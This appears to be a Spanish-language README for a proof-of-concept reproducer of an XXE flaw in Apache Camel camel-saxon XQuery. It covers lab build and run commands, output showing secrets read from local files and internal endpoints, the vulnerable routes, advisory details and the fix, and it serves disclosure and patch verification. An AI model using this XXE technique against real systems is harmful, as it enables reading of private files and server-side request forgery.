
Reproductor de prueba de concepto ejecutable para CVE-2026-90885, un XXE (CWE-611) en Apache Camel camel-saxon XQuery, con compilaciones para Spring Boot y Quarkus y verificación de la corrección.
Source ya construido se analizaba con los valores predeterminados de Saxon (XXE)Reproductor de prueba de concepto ejecutable para la vulnerabilidad de Apache Camel en la que XQueryBuilder en
camel-saxon — que evalúa expresiones tanto para el lenguaje xquery como para el componente xquery
— construía su Configuration predeterminada de Saxon con opciones de análisis que llevaban solo una regla de
eliminación de espacios en blanco, dejando el analizador XML con sus valores predeterminados: se acepta una
declaración DOCTYPE y se resuelven las entidades externas.
| Entorno de ejecución | Directorio | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-saxon 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Por qué 4.22.1 para Spring Boot: la corrección se retroportó a
camel-4.22.xsolo después de que se publicara 4.22.1, por lo que 4.22.1 es la última versión afectada de esa línea y 4.22.2 es la primera corregida. Fijar 4.22.1 hace que ese límite sea el punto del reproductor.
Los cuerpos String, byte[] e InputStream se convierten en un javax.xml.transform.Source mediante los
propios convertidores de tipos XML de Camel, que configuran el analizador frente a entidades externas — esos
cuerpos nunca se vieron afectados. Un cuerpo que ya era un Source se entregaba a Saxon sin cambios, y un
Source basado en flujo todavía tiene que analizarse, por lo que Saxon lo analizaba con esa Configuration
predeterminada.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
# the servlet/HTTP port opens before the Camel context finishes starting, so wait for the context:
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Salida en una compilación afectada (idéntica en ambos runtimes):
Expression under attack: concat(string(/r/data), string(/r/data/@leak))
It copies //data and //data/@leak into the result. It reads nothing itself.
1) XQuery over a StreamSource body, external entity -> file:///tmp/cve-2026-90885-secrets/db-password.txt
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
2) XQuery over a StreamSource body, external entity -> http://127.0.0.1:8080/internal/secret
expression result: [INTERNAL-SECRET-s3cr3t-42]
internal endpoint response in the result: true
3) XQuery over a StreamSource body, external DTD -> http://127.0.0.1:8080/internal/leak.dtd
expression result: [no-entity-hereINTERNAL-DTD-WAS-FETCHED]
attribute defaulted by the fetched DTD in the result: true
4) CONTROL - the same document as a String body (Camel's type converters build the Source)
expression result: []
local file contents in the result: false
5) The same String body through a route doing convertBodyTo(Source.class) first
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
Requests the XML parser made to internal endpoints on its own: [GET /internal/secret, GET /internal/leak.dtd]
>>> PROVEN: ...
La sonda 5 es la que importa en la práctica. El remitente publica texto XML simple — la forma del cuerpo que
no se ve afectada, como muestra la sonda 4. Luego la ruta ejecuta convertBodyTo(Source.class) antes de que se
ejecute la expresión, y eso por sí solo lleva el cuerpo a la ruta afectada. Ningún Source construido por el atacante, ningún componente
inusual, ninguna opción no predeterminada: un paso de conversión ordinario en la ruta es toda la precondición. El
aviso nombra este caso explícitamente, junto con un componente o procesador anterior en la ruta que establece el
cuerpo en un Source basado en flujo.
Las sondas 1–3 son la misma falla alcanzada al entregar el Source directamente, que es lo que haría un componente anterior
en la ruta.
Nada está mal configurado. Ninguna opción de configuration, ninguna configuración del analizador, y la expresión no lee nada:
from("direct:xquery")
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
from("direct:xquery-converted")
.convertBodyTo(Source.class)
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
El atacante controla únicamente el documento XML contra el que se evalúa.
| Propiedad | Valor |
|---|---|
| Componente | camel-saxon (XQueryBuilder, utilizado por el lenguaje xquery y el componente xquery) |
| CWE | CWE-611 (Restricción inadecuada de la referencia a entidades externas XML) |
| Gravedad | Alta |
| Vector de ataque | Un DOCTYPE con un subconjunto externo, o una entidad externa, en XML que llega a una expresión XQuery como un Source basado en flujo ya construido |
| Impacto | Leer archivos legibles por el proceso de Camel; hacer que el proceso emita solicitudes a hosts que el documento nombra |
| Versiones afectadas | Desde 4.0.0 anterior a 4.18.5, desde 4.19.0 anterior a 4.22.2 (la ruta de código es anterior a 4.0 y estaba presente en 2.x/3.x) |
| Versiones corregidas | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24691 |
| Crédito | Leon Zlobecki |
Aviso: https://camel.apache.org/security/CVE-2026-90885.html
No es el mismo problema que CVE-2026-85250, que concernía a
documentType=InputSourceencamel-xpathy se corrigió en 4.18.5, 4.22.1 y 4.23.0. Ambos son rutas de entrada que eludían el endurecimiento del parser por defecto, pero son componentes diferentes y ninguna corrección cubre a la otra — en particular, 4.22.1 resuelve CVE-2026-85250 pero no este problema.
XQueryBuilder ahora construye su Configuration por defecto con opciones de parseo que habilitan
disallow-doctype-decl y deshabilitan external-general-entities, external-parameter-entities y
load-external-dtd, alineando un cuerpo Source con el parser endurecido que el XmlConverter de Camel ya
aplicaba a los cuerpos String, byte[] e InputStream.
El cambio es visible y queda registrado en la guía de actualización a 4.23: un cuerpo que llega a XQuery como un
Source ya construido y que lleva un DOCTYPE ahora se rechaza con un error de parseo, mientras que los cuerpos sin
DOCTYPE no se ven afectados.
Solo la Configuration por defecto está endurecida. La que se proporciona mediante la opción configuration del
endpoint o del lenguaje, o mediante XQueryBuilder.setConfiguration, se usa tal cual — por lo que un despliegue que
realmente necesite procesamiento de DOCTYPE o de entidades externas puede conservarla, y un despliegue que proporcione su propia
Configuration por cualquier otra razón tiene que aplicar las mismas opciones de parseo por sí mismo.
Corregido en main en apache/camel#26344
(9c23b686), retroportado a camel-4.22.x en #26728
(0d0ed8bb) y a camel-4.18.x en #26730 (ed513f3a).
Establezca camel.version en 4.22.2 (Spring Boot), o ambas versiones de plataforma en una versión de Camel Quarkus que incluya
Camel 4.22.2 o posterior, y ejecútelo de nuevo. Verificado con 4.22.1 → 4.22.2: